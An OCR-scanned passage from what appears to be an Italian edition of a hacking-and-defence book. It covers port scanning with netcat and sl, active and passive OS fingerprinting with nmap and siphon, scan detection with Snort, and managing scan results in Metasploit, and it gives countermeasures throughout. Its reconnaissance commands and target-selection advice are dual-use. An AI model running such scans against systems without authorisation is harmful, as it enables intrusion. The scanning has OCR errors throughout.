-t - TCP port(s) to scan (a comma separated list of ports/ranges)
-T - Use internal list of TCP ports

-u - UDP port(s) to scan (a comma separated list of ports/ranges)
-U - Use internal list of UDP ports

-v - Verbose mode

-z - Randomize IP and port scan order

Example: sl -bht 80,100-200,443 10.0.0.1-200

This example would scan TCP ports 80, 100, 101...200 and 443 on all IP
addresses from 10.0.0.1 to 10.0.1.200 inclusive, grabbing banners
from those ports and hiding hosts that had no open ports.

netcat

Nonostante la sua natura un po’“vecchia scuola”, netcat (o nc) ¢ un’ottima utility che
merita una menzione d’onore. Scritto da Hobbit, questo programma per Windows e Linux
puo svolgere un tale numero di funzioni da essersi meritato il titolo di coltellino svizzero
della sicurezza. La gran parte delle sue funzionalitd sono state aggiornate in “ncat”, una
utility scritta da Fyodor, Chris Gibson, Kris Katterjohn e Mixter, che accompagna Nmap;
in questa versione, tuttavia, gli autori hanno deciso di non inserire le capacita di scansione
delle porte (probabilmente pensavano di avere gia a disposizione un buon port scanner).
Le semplici capacita di scansione delle porte TCP e UDP tornano utili in alcuni scenari
dove ¢ necessario minimizzare il numero di tracce lasciate in un sistema compromesso. E
possibile caricare il file sul sistema e utilizzarlo come punto di partenza per la scansione
di altre reti che potrebbero non essere accessibili in maniera diretta. Le opzioni -v e -vv
producono rispettivamente output verbosi e molto verbosi. Uopzione -z imposta la
modalita a zero I/O ed ¢ utilizzata per la scansione delle porte, e 'opzione -w2 indica un
valore di timeout per ogni connessione. Per default, netcat utilizza le porte TCP. Pertanto,
per una scansione UDP, & necessario inserire I'opzione-u, come nel secondo degli esempi
mostrati di seguito:

[root] nc -v -z -w2 192.168.1.1 1-140

[192.168.1.1] 139 (?) open
[192.168.1.1] 135 (?) open
[192.168.1.1] 110 (pop-3) open
[192.168.1.1] 106 (?) open
[192.168.1.1] 81 (?) open
[192.168.1.1] 80 (http) open
[192.168.1.1] 79 (finger) open
[192.168.1.1] 53 (domain) open
[192.168.1.1] 42 (?) open
[192.168.1.1] 25 (smtp) open
[192.168.1.1] 21 (ftp) open

[root] nc -u -v -z -w2 192.168.1.1 1-140
[192.168.1.1] 135 (ntportmap) open
[192.168.1.1] 123 (ntp) open
[192.168.1.1] 53 (domain) open
[192.168.1.1] 42 (name) open
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Q Contromisure contro la scansione di porte

La scansione di porte ¢ un’arma fondamentale per gli hacker, e sfortunatamente non ¢
facile prevenirne 1'uso. Esistono pero alcune tecniche utilizzabili.

Rilevamento

La scansione di porte ¢ spesso utilizzata dagli hacker per determinare le porte TCP e
UDP in ascolto sui sistemi remoti. Rilevare questa attivita di scansione ¢ di fondamentale
importanza per individuare 1 primi segni di un attacco. Il principale metodo per rilevare
le scansioni di porte prevede I'utilizzo di un programma IDS di rete come Snort.

Snort (snort.org) ¢ un ottimo IDS gratuito, la cui migliore caratteristica ¢ il fatto che gli
autori rendono disponibili frequentemente nuove segnature. E uno dei nostri programmi
preferiti, molto utile per un sistema NIDS (Network Intrusion Detection System), anche se
le versioni 1.x non gestiscono bene la frammentazione dei pacchetti. Il seguente esempio
mostra la rilevazione di un tentativo di scansione di porte:

[**] spp_portscan: PORTSCAN DETECTED from 192.168.1.10 [**]

05/22-18:48:53.681227

[**] spp_portscan: portscan status from 192.168.1.10: 4 connections across
1 hosts: TCP(0), UDP(4) [**]

05/22-18:49:14.180505

[**] spp_portscan: End of portscan from 192.168.1.10 [**]

05/22-18:49:34.180236

Per gli host UNIX, I'utility scanlogd (openwall.com/scanlogd) di Solar Designer ¢ uno stru-
mento per il rilevamento di scansioni di porte TCP che individua e registra questi tipi di
attacchi. E importante ricordare che, se notate una serie di scansioni di porte provenienti
da un particolare sistema o rete, potrebbe trattarsi di qualcuno che tenta di effettuare il
riconoscimento della vostra rete. Dovete prestare molta attenzione a tale attivita, perché
potrebbe segnalare un imminente attacco su larga scala. Infine, dovete tenere presente
che bloccare o attuare ritorsioni nei confronti dei tentativi di scansione di porte non ¢
sempre consigliabile; il problema principale ¢ che un hacker potrebbe utilizzare I'indirizzo
IP di una terza parte che non ha nulla a che fare con I'attacco, percio si rischia di attuare
ritorsioni contro persone innocenti. Un interessante articolo di Solar Designer disponi-
bile presso openwall.com/scanlogd/P53-13.gz fornisce altri suggerimenti per progettare e
attaccare sistemi per il rilevamento delle scansioni di porte.

La maggior parte dei firewall puo essere configurata (e dovrebbe esserlo) per rilevare 1
tentativi di scansione di porte.Alcuni sono migliori di altri nel rilevare le scansioni nascoste.
Per esempio, molti firewall dispongono di opzioni specifiche per rilevare scansioni SYN
e ignorare scansioni FIN. La parte piti complessa, nel rilevamento di scansioni di porte,
¢ quella di analizzare 1 file di log, spesso molto lunghi. Consigliamo di configurare dei
messaggi di avviso che siano inviati per e-mail in tempo reale, e di utilizzare 1 log a soglia
quando possibile, in modo che nessuno possa portare un attacco di tipo DoS provocando
P'invio di numerosissimi messaggi email. Con 1 log a soglia, 1 messaggi di avviso vengono
inviati a gruppi anziché uno per uno.

Per gli host Windows, I'utility Attacker di Foundstone (foundstone.com) consente di rilevare
semplici scansioni di porta. Questo strumento gratuito permette di mettersi in ascolto su
particolari porte e invia un messaggio di avviso quando rileva un tentativo di scansione
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su di esse. Non ¢ una tecnica a prova di bomba, ma ¢ in grado di evidenziare i tentativi
di attacco effettuati senza nascondere le segnature.

Prevenzione

Anche se ¢ difficile attuare una prevenzione contro un tentativo di scansione di porte
effettuato contro il proprio sistema, si puo ridurre al minimo I’esposizione a questi attacchi
disabilitando tutti 1 servizi non indispensabili. In ambiente UNIX lo si puo fare contras-
segnando come commenti 1 servizi non necessari nel file /etc/inetd.conf e disabilitando
lavvio dei servizi negli script di startup. Ne parleremo piu in dettaglio nel Capitolo 5,
dedicato a UNIX.

Nei sistemi Windows si dovrebbero disabilitare tutti 1 servizi non necessari. Sfortunatamente
questo compito ¢ piu difficile a causa del modo in cui opera Windows, poiché le porte
TCP 139 e 445 forniscono funzionalita native del sistema. Tuttavia, si possono disabilitare
alcuni servizi utilizzando il Pannello di controllo (si seleziona Strumenti di amministrazione
e poi Servizi). I rischi e le contromisure per sistemi Windows sono discussi nel Capitolo
4. Per altri sistemi operativi o dispositivi, occorre consultare la documentazione per de-
terminare come ridurre il numero di porte in ascolto mantenendo aperte soltanto quelle
richieste per I'attivita del sistema.

Rilevamento del sistema operativo

Come abbiamo visto finora, sono disponibili numerosi strumenti e molti tipi di tecniche
per la scansione di porte, utilizzabili allo scopo di individuare le porte aperte su un sistema
bersaglio. Se ricordate, questo era il nostro primo obiettivo: eseguire la scansione di porte
per individuare porte TCP e UDP in ascolto sul sistema bersaglio. Una volta ottenute
queste informazioni, si puo determinare se la porta in ascolto presenta potenziali vulnera-
bilita? In realtd non ancora; occorre prima scoprire altre informazioni sul sistema bersaglio.
Ora il nostro obiettivo ¢ quello di determinare il tipo di sistema operativo in esecuzione.

N1/
c/' " Rilevamento del sistema operativo attivo

Popolarita: 10
Semplicita: 8
Impatto:

Grado di rischio: 7

Durante la fase di ricerca delle vulnerabilita, descritta nei capitoli seguenti, ¢ utile disporre
di informazioni sullo specifico sistema operativo in uso. Ricordate che stiamo cercando
di procedere con la massima accuratezza possibile nel determinare le vulnerabilita dei
sistemi bersaglio; non vogliamo sollevare inutili allarmismi chiedendo al reparto IP di
rimediare a problemi che in realta non ci sono, o non rappresentano possibili falle per la
sicurezza, percio dobbiamo identificare il sistema operativo del bersaglio fin nei minimi
dettagli, per quanto possibile.

Per svolgere questo compito si possono utilizzare diverse tecniche. Si possono eseguire
semplici tecniche di cattura dei banner, come ¢ spiegato nel Capitolo 3, che ottengono
informazioni da servizi come FTP, telnet, SMTP, HTTP, POP e altri; questo ¢ il modo
piu semplice per rilevare un sistema operativo e il numero di versione del servizio in
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esecuzione. Esiste poi una tecnica molto piu accurata, detta fingerprinting dello stack, per la
quale uno dei migliori strumenti disponibili ¢, ancora, I’onnipotente Nmap.

Ipotesi basate sulle porte disponibili

Indipendentemente dallo strumento utilizzato, stiamo cercando di identificare le porte
aperte che possono fornire indizi sul sistema operativo sottostante. Per esempio, se troviamo
aperte le porte 445,139 e 135, vi ¢ una notevole probabilita che il sistema operativo del
bersaglio sia Windows. Quasi tutti 1 sistemi basati su Windows ascoltano sulle porte 135,
139, e 445. 1 sistemi con Windows 95/98, invece, ascoltano solamente sulla porta 139.
Alcuni servizi sono specifici dei vari sistemi operativi. Un esempio perfetto al riguardo ¢
la porta TCP 3389, utilizzata per il protocollo RDP (Remote Desktop Protocol), un attributo
comune dei sistemi Windows. Per averne la certezza, dovremo sondare la porta specifica
(ne parleremo nel prossimo capitolo), ma la maggioranza dei sistemi eseguono i servizi
essenziali, come RDP, sulle porte di default.

Per i sistemi UNIX, un buon indicatore ¢ costituito dalla porta TCP 22 (SSH); ricordate,
pero, che SSH viene utilizzato anche da Windows e per la gestione di diversi apparati
di rete. Molti server UNIX piu datati presentano servizi come portmapper (TCP/111),
i servizi Berkeley R (TCP/512-514), NFS (TCP/2049), e porte “alte” (dalla 3277x in
poi). Lesistenza di queste porte in genere indica che il sistema in esecuzione ¢ UNIX.
Di piu, dovendo indovinare la versione specifica di UNIX, potremmo ipotizzare Solaris.
Sappiamo gia che normalmente Solaris esegue i suoi servizi RPC nell’intervallo 3277x.
Svolgendo una semplice scansione sulle porte TCP e UDP, possiamo valutare a grandi linee
il livello di esposizione dei sistemi che stiamo esaminando. Per esempio, se su un server
‘Windows troviamo aperta la porta 445 o la 139 o la 135, questo potrebbe essere molto a
rischio, dato il numero di vulnerabilita presenti nei servizi in esecuzione su quelle porte.
I Capitolo 4 analizza le vulnerabilita intrinseche di Windows e il modo in cui le porte
445,139, e 135 possono essere sfruttate per compromettere la sicurezza dei sistemi che
non adottano misure di protezione adeguate su queste porte. Nel nostro esempio, anche
il sistema UNIX sembra essere a rischio, perché i servizi in ascolto erogano numerose
funzionalita e ne ¢ ben nota la vulnerabilita a problemi di sicurezza. Per esempio, i servizi
RPC (Remote Procedure Call) ¢ il servizio NFES (Network File System) sono due delle strade
principali attraverso cui un hacker puo riuscire a compromettere la sicurezza di un server
UNIX (cfr. il Capitolo 5). Di contro, ¢ virtualmente impossibile manomettere la sicurezza
di un servizio remoto se questo non ¢ in ascolto. Ricordate: maggiore il numero dei servizi
in esecuzione, pit alte sono le probabilita di manomissione di un sistema. Maggiore sara la
familiarita acquisita con le comuni assegnazioni di porta, pitt grande sara anche la vostra
capacita di esaminare i risultati di una scansione delle porte e identificare velocemente
I'anello debole in grado di compromettere una rete.

Fingerprinting attivo dello stack

Prima di utilizzare Nmap, ¢ importante spiegare che cos’¢ esattamente il fingerprinting
dello stack:si tratta di una tecnologia estremamente potente che consente di determinare
rapidamente il sistema operativo di un host, con alto grado di probabilita. In sostanza, le
implementazioni dello stack IP dei vari produttori variano per molti dettagli: spesso 1
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produttori interpretano le indicazioni RFC in modo diverso, quando scrivono uno stack
TCP/IP, e analizzando queste differenze ¢ possibile fare delle ipotesi su quale sia il siste-
ma operativo in uso. Per la massima affidabilita, il fingerprinting dello stack richiede in
genere almeno una porta in ascolto; Nmap ¢ in grado di fare ipotesi sul sistema operativo
perfino se non c¢’¢ alcuna porta aperta, ma con scarsa precisione. Su questo argomento &
disponibile un articolo fondamentale scritto da Fyodor e pubblicato per la prima volta in
Phrack Magazine, presso insecure.org/nmap/nmap-fingerprinting-article.html.
Esaminiamo 1 tipi di analisi che possiamo effettuare per aiutarci a distinguere un sistema
operativo dall’altro:

Prova FIN. Un pacchetto FIN viene inviato a una porta aperta. Come si ¢ detto in
precedenza, ’'RFC 793 stabilisce che il comportamento corretto ¢ di non rispondere.
Tuttavia, molte implementazioni dello stack (come quelle di Windows 7/200X/
Vista) rispondono con FIN/ACK.

Prova flag contraffatto. Si imposta un flag TCP undefined nell’header TCP di
un pacchetto SYN. Alcuni sistemi operativi, come Linux, rispondono con il flag
impostato nel loro pacchetto di risposta.

Campionamento ISN (Initial Sequence Number). La premessa di base ¢ quella
di trovare un pattern nella sequenza iniziale scelta dall'implementazione TCP in
risposta a una richiesta di connessione.

Monitoraggio del “bit di non frammentazione”. Alcuni sistemi operativi
impostano il bit di non frammentazione (“Don’t fragment bit”) per migliorare le
prestazioni. E possibile monitorare questo bit per determinare quali tipi di sistemi
operativi esibiscono questo comportamento.

Dimensione finestra iniziale TCP. Si tiene traccia della dimensione della finestra
iniziale sui pacchetti restituiti. Per alcune implementazioni dello stack, questa dimen-
sione ¢ unica e tale informazione ¢ molto utile per la precisione del meccanismo di
fingerprinting.

Valore ACK. Gli stack IP si distinguono per il valore di sequenza che utilizzano per
il campo ACK, percio alcune implementazioni restituiscono il numero che abbiamo
inviato, altre restituiscono un numero di sequenza + 1.

Limitazione dei messaggi di errore ICMP. I sistemi operativi possono seguire
IRFC 1812 (ietf.org/rfc/rfc1812.txt) e limitare la frequenza con cui sono inviati
1 messaggi di errore. Inviando pacchetti UDP ad alcune porte di numero elevato,
scelte a caso, si puo contare il numero di messaggi di “host irraggiungibile” ricevuti
entro un determinato intervallo di tempo. Questo tipo di sondaggio ¢ utile anche
per determinare se vi sono porte UDP aperte.

Citazione messaggio ICMP. [ sistemi operativi si distinguono per la quantita di
informazioni citate quando si incontrano errori ICMP. Esaminando il messaggio
con la citazione, ¢ possibile ipotizzare quale sia il sistema operativo.

Integrita di messaggio di errore restituito. Alcune implementazioni dello stack
potrebbero alterare gli header IP quando restituiscono messaggi di errore ICMP.
Esaminando 1 tipi di alterazioni apportate agli header, si possono fare delle ipotesi
sul sistema operativo bersaglio.
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Tipo di servizio (TOS). Per i messaggi di tipo “ICMP PORT UNREACHABLE”
si esamina il TOS: la maggior parte delle implementazioni dello stack utilizzano il
tipo 0, ma non € sempre cosi.

Gestione della frammentazione. Come hanno indicato Thomas Ptacek e Tim
Newsham nel loro importante articolo “Insertion, Evasion,and Denial of Service: Elu-
ding Network Intrusion Detection”, stack diversi gestiscono i frammenti parzialmente
sovrapposti in modo diverso (cs.unc.edu/~fabian/course_papers/PtacekNewsham98
.pdf). Alcuni stack sovrascrivono i dati vecchi con quelli nuovi e vice versa, al mo-
mento di riassemblare i frammenti. Osservando il modo in cui sono riassemblati
dei pacchetti di prova, ¢ possibile fare delle ipotesi sul sistema operativo bersaglio.

Opzioni TCP. Le opzioni TCP sono definite dal’RFC 793 e piu recentemente
dall’RFC 1323 (ietf.org/rfc/rfc1323.txt). Le opzioni piu avanzate fornite dal’RFC
1323 tendono a essere implementate negli stack piu attuali. Inviando un pacchetto
con piu opzioni impostate, per esempio quelle di nessuna attivita, massima dimen-
sione del segmento, fattore di scala finestra e timestamp, € possibile fare delle ipotesi
sul sistema operativo bersaglio.

Lutility nmap utilizza le tecniche citate in precedenza (eccetto quella per la gestione
della frammentazione e per la limitazione dei messaggi di errore ICMP) se si specifica
I'opzione -0. Osserviamo che cosa accade sulla nostra rete bersaglio:

user@hax:~$ sudo nmap -0 192.168.1.17

Starting Nmap 5.51 ( http://nmap.org ) at 2011-09-26 11:35 PDT

Nmap
Host

scan report for 192.168.1.17
is up (0.0015s latency).

Not shown: 994 closed ports

PORT

STATE SERVICE

135/tcp  open msrpc

139/tcp open netbios-ssn

445/tcp  open microsoft-ds

3389/tcp open ms-term-serv

4445/tcp open upnotifyp

14000/tcp open scotty-ft

Device type: general purpose

Running: Microsoft Windows XP

0S details: Microsoft Windows XP SP2 or SP3
Network Distance: 1 hop

0S detection performed. Please report any incorrect results at http://nmap.org/submit/.

Nmap

done: 1 IP address (1 host up) scanned in 3.64 seconds

Utilizzando 'opzione di fingerprinting dello stack di Nmap, possiamo facilmente deter-
minare 1l sistema operativo bersaglio; la precisione di tale risultato dipende in gran parte
dal fatto che sul bersaglio sia aperta almeno una porta, ma anche se non ci sono porte
aperte, Nmap ¢ in grado di fare un’ipotesi non casuale sul sistema operativo:

user@hax:~$ sudo nmap -0 192.168.1.32

Starting Nmap 5.51 ( http://nmap.org ) at 2011-09-26 11:36 PDT

Nmap
Host

scan report for 192.168.1.32
is up (0.0019s latency).
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A1l 1000 scanned ports on 10.112.18.32 are closed

Remote OS guesses: Linux 2.0.27 - 2.0.30, Linux 2.0.32-34, Linux 2.0.35-36,
Linux 2.1.24 PowerPC, Linux 2.1.76, Linux 2.1.91 - 2.1.103,

Linux 2.1.122 - 2.1.132; 2.2.0-prel - 2.2.2, Linux 2.2.0-pre6 - 2.2.2-ac5Network
Distance: 1 hop

Anche in assenza di porte aperte, Nmap ha individuato correttamente il sistema operativo
Linux (un caso fortunato).

Una delle migliori caratteristiche di nmap ¢ che il suo elenco di segnature ¢ mantenuto
in un file denominato Nmap-os-fingerprints. Ogni volta che viene rilasciata una nuova
versione di Nmap, questo file viene aggiornato con altre segnature; al momento in cui
scriviamo, I'elenco ne comprende centinaia.

Benché il rilevamento TCP effettuato da Nmap risulti il pit accurato, al momento in cui
scriviamo, la tecnologia non ¢ priva di difetti e spesso fornisce soltanto ipotesi approssi-
mative, che in certi casi risultano inutili.

c Contromisure contro il rilevamento del sistema operativo

Consigliamo di attuare le seguenti procedure per ridurre il rischio di rilevamento del
sistema operativo.

Rilevamento

Potete utilizzare molti degli strumenti di rilevamento delle attivita di scansione di porte
citati in precedenza per controllare attivita di rilevamento del sistema operativo. Benché
non indichino specificamente che ¢ in corso questa operazione mediante Nmap o queso,
possono rilevare una scansione con specifiche opzioni, per esempio il flag SYN.

Prevenzione

Sarebbe bello trovare un modo facile per evitare il rilevamento del sistema operativo,
ma non & un problema semplice da risolvere. E possibile modificare il codice sorgente
del sistema operativo, o alterare un parametro in modo da cambiare una delle caratteri-
stiche peculiari del fingerprinting dello stack, ma questo potrebbe causare dei problemi
di funzionalita del sistema. Per esempio, FreeBSD supporta 'opzione del kernel TCP_
DROP_SYNFIN, utilizzata per ignorare un pacchetto SYN+FIN inviato da Nmap in
un’operazione di fingerprinting dello stack. Attivare questa opzione sarebbe utile per
evitare il rilevamento del sistema operativo, ma cosi si viola il supporto dellRFC 1644,
“TCP Extensions for Transactions”.

Riteniamo che soltanto proxy o firewall affidabili e sicuri dovrebbero essere lasciati esposti
ad attivita di scansione via Internet. Nascondersi non ¢ la miglior linea di difesa. Anche
se gli hacker sono in grado di identificare il sistema operativo in uso, ¢ necessario fare in
modo che abbiano difficolta a ottenere 'accesso al sistema bersaglio.

N1/
c/' " Identificazione passiva del sistema operativo

Popolarita: 5
Semplicita: 6
Impatto: 4
Grado di rischio: 5
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Abbiamo visto quanto possa essere efficace il fingerprinting attivo dello stack, utilizzando
strumenti come Nmap. E importante ricordare che le tecniche di rilevamento dello stack
citate in precedenza sono attive per natura: abbiamo inviato dei pacchetti a ciascun sistema
per determinare specifiche caratteristiche dello stack di rete, e questo ci ha consentito di
ipotizzare quale fosse il sistema operativo in uso. Data la necessita di inviare dei pacchetti
al sistema bersaglio, ¢ relativamente facile per un sistema di rilevamento delle intrusioni
determinare che ¢ in atto un tentativo di identificazione del sistema operativo. Percio, il
fingerprinting attivo dello stack non ¢ la tecnica pia difficile da rilevare.

Fingerprinting passivo dello stack

Il fingerprinting passivo dello stack ¢ simile a quello attivo, ma invece di inviare pacchetti
a un sistema bersaglio, ’hacker controlla in modo passivo il traffico di rete per determinare
il sistema operativo in uso. Monitorando il traffico di rete tra vari sistemi, possiamo deter-
minare i sistemi operativi utilizzati in una rete. Questa tecnica, pero, richiede di trovarsi
in una posizione centrale della rete e su una porta che consenta la cattura di pacchetti
(per esempio una porta mirror).

Lance Spitzner ha svolto numerose ricerche nel campo del fingerprinting passivo del-
lo stack e ha scritto un articolo in cui descrive 1 risultati ottenuti, disponibile presso
project.honeynet.org. Inoltre, Marshall Beddoe e Chris Abad hanno sviluppato siphon, un
sistema passivo per la mappatura delle porte, I'identificazione del sistema operativo e la
determinazione della topologia di rete; tale strumento ¢ disponibile presso packetstorm-
security.org/UNIX/utilities/siphon-v.666.tar.gz.

E ora vediamo come funziona il fingerprinting passivo dello stack.

Segnature passive

Varie caratteristiche del traffico possono essere utilizzate per identificare un sistema ope-
rativo; noi ci limiteremo soltanto a vari attributi associati a una sessione TCP/IP:

* TTL. Che valore imposta il sistema operativo come TTL (Time-To-Live) sul pacchetto
in uscita?

* Dimensione della finestra. Che valore imposta il sistema operativo come dimen-
sione della finestra?

* DE Il sistema operativo imposta il bit di non frammentazione DF (“Don’t Fragment
bit”)?

Analizzando passivamente ogni attributo e confrontando 1 risultati con un database di
valori noti ¢ possibile determinare il sistema operativo remoto. Benché questo metodo
non dia garanzia di fornire una risposta corretta in ogni caso, ¢ possibile combinare tra
loro gli attributi per migliorare ulteriormente I'affidabilita dei risultati. Questa ¢ la tecnica
utilizzata da siphon.
Esaminiamo un esempio. Se ci colleghiamo in telnet dal sistema 192.168.1.10 (di nome
shadow) al sistema 192.168.1.11 (di nome quake), possiamo identificare in modo passivo
il sistema operativo utilizzando siphon:

[shadow]# telnet 192.168.1.11
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Con il nostro snifter preferito, Snort, possiamo vedere un tracciato parziale della nostra
connessione telnet:

06/04-11:23:48.297976 192.168.1.11:23 -> 192.168.1.10:2295
TCP TTL:255 TOS:0x0 ID:58934 DF

*¥HSERKA* Seq: 0xD3B709A4 Ack: OxBEO9B2B7 Win: 0x2798

TCP Options => NOP NOP TS: 9688775 9682347 NOP WS: 0 MSS: 1460

Esaminando 1 nostri tre attributi TCP/IP troviamo quanto segue:
e TTL = 255
* Dimensione finestra = 0x2798
* Bit DF (non frammentazione) = Yes
Ora osserviamo il database di fingerprinting di siphon, osprints.conf:

[shadow]# grep -i solaris osprints.conf
# Window:TTL:DF:Operating System DF = 1 for ON, 0 for OFF.

2328:255:1:S0laris 2.6 - 2.7
2238:255:1:S0laris 2.6 - 2.7
2400:255:1:S0laris 2.6 - 2.7
2798:255:1:S0laris 2.6 - 2.7
FE88:255:1:So0laris 2.6 - 2.7
87C0:255:1:S0laris 2.6 - 2.7
FAF0:255:0:Solaris 2.6 - 2.7
FFFF:255:1:Solaris 2.6 - 2.7

Possiamo vedere che il quarto elemento presenta gli attributi esatti del nostro tracciato
Snort: dimensione finestra di 2798, TTL di 255 e bit DF impostato (uguale a 1). Percio
dovremmo essere in grado di individuare il sistema operativo bersaglio con siphon:

[crush]# siphon -v -i x10 -o fingerprint.out

Running on: 'crush' running FreeBSD 4.0-RELEASE on a(n) i386
Using Device: x10

Host Port TTL DF Operating System
192.168.1.11 23 255 ON Solaris 2.6 - 2.7

Come potete vedere,siamo in grado di individuare il sistema operativo bersaglio, in questo
caso Solaris 2.6, con relativa facilita e senza inviare alcun pacchetto al sistema 192.168.1.11:
tutta analisi ¢ stata effettuata semplicemente catturando pacchetti in viaggio sulla rete.
Il fingerprinting passivo puo essere utilizzato da un hacker per mappare una potenziale
vittima semplicemente navigando nel sito web di quest’ultima e analizzando un tracciato
di rete o utilizzando uno strumento come siphon. Questa tecnica ¢ efficace, ma ha anche
alcuni limiti: in primo luogo, le applicazioni che costruiscono iloro pacchetti (per esempio
Nmap) non utilizzano la stessa segnatura del sistema operativo, percio i risultati potrebbero
essere imprecisi. In secondo luogo, ¢ necessario trovarsi in una posizione che consenta
di catturare i pacchetti (cosa che potrebbe risultare difficile in uno switch senza abilitare
il mirroring delle porte). In terzo luogo, un host remoto potrebbe facilmente cambiare
gli attributi di connessione; quest’ultimo punto, tuttavia, riguarda anche le tecniche di
rilevamento attive.
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Q Contromisure contro il rilevamento passivo del sistema operativo

Si rimanda alla contromisura di prevenzione riportata in precedenza in questo capitolo,
nel paragrafo dedicato alle contromisure contro il rilevamento del sistema operativo.

Elaborare e memorizzare i dati di una scansione

La mappatura di una rete bersaglio puo tradursi un una grande quantita di dati, pit 0 meno
ingombrante a seconda delle modalita con cui vengono eseguite le scansioni e con cui i
dati vengono memorizzati. Nelle reti di grandi dimensioni I'efficienza della gestione det
risultati della scansione ¢ direttamente proporzionale alla velocita con la quale si sara in
grado di compromettere grandi numeri di sistemi. Da qui I'importanza di una gestione
accurata dei dati.

Gestire i dati di scansione con Metasploit

Metasploit (metasploit.com) in origine era un framework generico di exploit, utilizzato
per modularizzare exploit e payload. Nel corso degli ultimi due anni, le sue funzionalita
sono esplose fino a formare una grande piattaforma di strumenti, payload ed exploit con
possibilita di gestione degli attacchi. Qui non ci addentreremo nel dettaglio nei modi di
sfruttare tutta la potenza di Metasploit, ma cercheremo 1 modi per eseguire le scansioni
e inviare 1 dati al programma per ulteriori elaborazioni.

Pinstallazione di Metasploit attiva un server PostgreSQL che consente la realizzazione di
query specifiche sul database dei dati di scansione. Per utilizzare la funzionalita del data-
base, occorre innanzitutto indicare al programma 1 parametri di connessione e il database
desiderato. A questo scopo, da Metasploit (msfconsole) digitate:

mst > db_connect postgres:<password>@localhost:<port>/msf3

La password (<password>) e la porta (<port>) vengono definite nel file di configurazio-
ne denominato /opt/framework-4.0.0/properties.ini. Metasploit presenta dei “moduli
ausiliari” che svolgono alcune semplici scansioni di host e servizi, ma spesso la durata
di queste operazioni ¢ superiore a quella di Nmap, pertanto Nmap stesso rimarra il no-
stro strumento di elezione per lo svolgimento di queste attivita. Il comando db_nmap di
Metasploit permette di eseguire semplici scansioni Nmap e di importare 1 loro risultati
direttamente nel database:

mst > db_nmap 192.168.1.0/24
[*] Nmap: Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-09-26 10:47 PDT

] Nmap: Nmap scan report for 192.168.1.12
] Nmap: Host is up (0.0028s latency).

] Nmap: Not shown: 997 filtered ports

] Nmap: PORT STATE SERVICE

] Nmap: 80/tcp open http

1 Nmap: 443/tcp open https

] Nmap: 2869/tcp open icslap

] Nmap: Nmap scan report for 192.168.1.13
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[*] Nmap: Host is up (0.063s latency).

< Output abbreviato per motivi di spazio >

[*] Nmap: 22/tcp open ssh

[*] Nmap: Nmap done: 256 IP addresses (21 hosts up) scanned in 19.00 seconds
mst >

E possibile passare a db_nmap parametri specifici di Nmap, e i relativi dati verranno passati
all'istanza di Nmap in esecuzione in background. Un aspetto negativo ¢ dato dal fatto che
se la connessione ¢ stata effettuata con un utente non root, non sara possibile utilizzare
db_nmap per scansioni che richiedono privilegi elevati. Questo, pero, non dovrebbe essere
un problema, dato che ¢ anche possibile eseguire qualsiasi comando di shell direttamente
attraverso Metasploit. Qui Nmap esegue una scansione di sistema operativo sulla subnet
locale e invia P'output a un file XML.

msf > sudo nmap -0 192.168.1.0/24 -oX subnet_192.168.1.0-0S
[*] exec: sudo nmap -0 192.168.1.0/24 -oX subnet 192.168.1.0-0S
[sudo] password for user:

Starting Nmap 5.51 ( http://nmap.org ) at 2011-09-26 11:00 PDT
Nmap scan report for 192.168.1.12

Host is up (0.0033s latency).

Not shown: 997 filtered ports

PORT STATE SERVICE

80/tcp open http

< Output abbreviato per motivi di spazio >

0S details: Linux 2.6.19 - 2.6.36

Network Distance: 0 hops

msf >

Ora loutput di Nmap viene importato nel database con il comando db_import:

msf > db_import subnet 192.168.1.0-0S

[*] Importing ‘Nmap XML' data

[*] Import: Parsing with 'Nokogiri vi.4.3.1'
[*] Importing host 192.168.1.12

< Output abbreviato per motivi di spazio >

[*] Importing host 192.168.1.25
[*] Successfully imported /home/elec/subnet 192.168.1.0-0S
mst >

Una volta caricati in Metasploit 1 risultati della scansione, ¢ possibile eftettuare un gran
numero di query. Il comando hosts restituisce 'elenco di tutti gli host presenti nel database.
11 parametro -c consente di selezionare colonne specifiche. Qui sotto vengono visualizzati
tutti gli host con 1 relativi sistemi operativi:

msf > hosts -c address,os_name
Hosts

address 0S_name
192.168.1.12 Microsoft Windows
192.168.1.15 Linux
192.168.1.16 Microsoft Windows
192.168.1.17 Microsoft Windows
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.18 Microsoft Windows
.19 Apple i0S

.22 Microsoft Windows
24 Microsoft Windows
.25 Linux

192.168.
192.168.
192.168.
192.168.
192.168.

R R R R R

Il comando services puo essere utilizzato per visualizzare tutte le porte aperte e i servizi
disponibili sugli host individuati. E anche possibile filtrare i dati con alcune semplici
opzioni. Per esempio, volendo visualizzare tutti gli host sui quali sia disponibile SSH, si
puo usare il comando seguente:

msf > services -s ssh
Services

host port proto name state info

10.112.18.25 22 tcp ssh  open

La possibilita di filtrare i dati puo essere molto utile quando si sceglie come bersaglio una
rete di grandi dimensioni. Per esempio, conoscendo una particolare vulnerabilita tipica dei
sistemi Windows 2008, ¢ possibile impostare un filtro sugli host che eseguono Windows
2008 per creare un elenco di bersagli. In seguito questi host potranno essere sottoposti a
un attacco di certo piu efficiente.

Riepilogo

Abbiamo trattato gli strumenti e le tecniche per eseguire ping sweep, scansioni di porte
TCP, UDP e ICMP, rilevamento del sistema operativo. Utilizzando gli strumenti per il
ping sweep, ¢ possibile individuare i sistemi attivi e identificare potenziali bersagli di at-
tacco. Grazie a innumerevoli strumenti e tecniche per la scansione di porte TCP e UDP,
si possono individuare i servizi in ascolto e fare delle ipotesi sul livello di esposizione al
rischio di ciascun sistema. Infine, abbiamo visto come gli hacker possano utilizzare software
di rilevamento del sistema operativo per determinare in modo preciso la versione speci-
fica del sistema operativo in uso su un sistema bersaglio. Nel prosieguo del libro vedrete
che le informazioni raccolte finora sono fondamentali per predisporre un attacco mirato.



(Capitolo 3

L'enumerazione

Quando un hacker ¢ riuscito a individuare gli host
attivi e 1 servizi in esecuzione utilizzando le tecniche
del Capitolo 2, generalmente passa a esaminare piu in
dettaglio i servizi identificati cercando eventuali punti
deboli, in un processo che chiamiamo enumerazione.
Vale la pena di notare anche che, mentre I'hacker
procede nei diversi passaggi dell’attacco e ottiene la
possibilita di connettersi a host e segmenti di rete a
cui in precedenza non poteva accedere, spesso torna
a questa fase per trovare le vie per ampliare la portata
del suo attacco e per raggiungere bersagli specifici.
La differenza fondamentale tra le tecniche di raccolta
delle informazioni descritte in precedenza e 'enume-
razione sta nel livello di intrusivitd. Uenumerazione
comporta l'utilizzo di connessioni attive ai sistemi
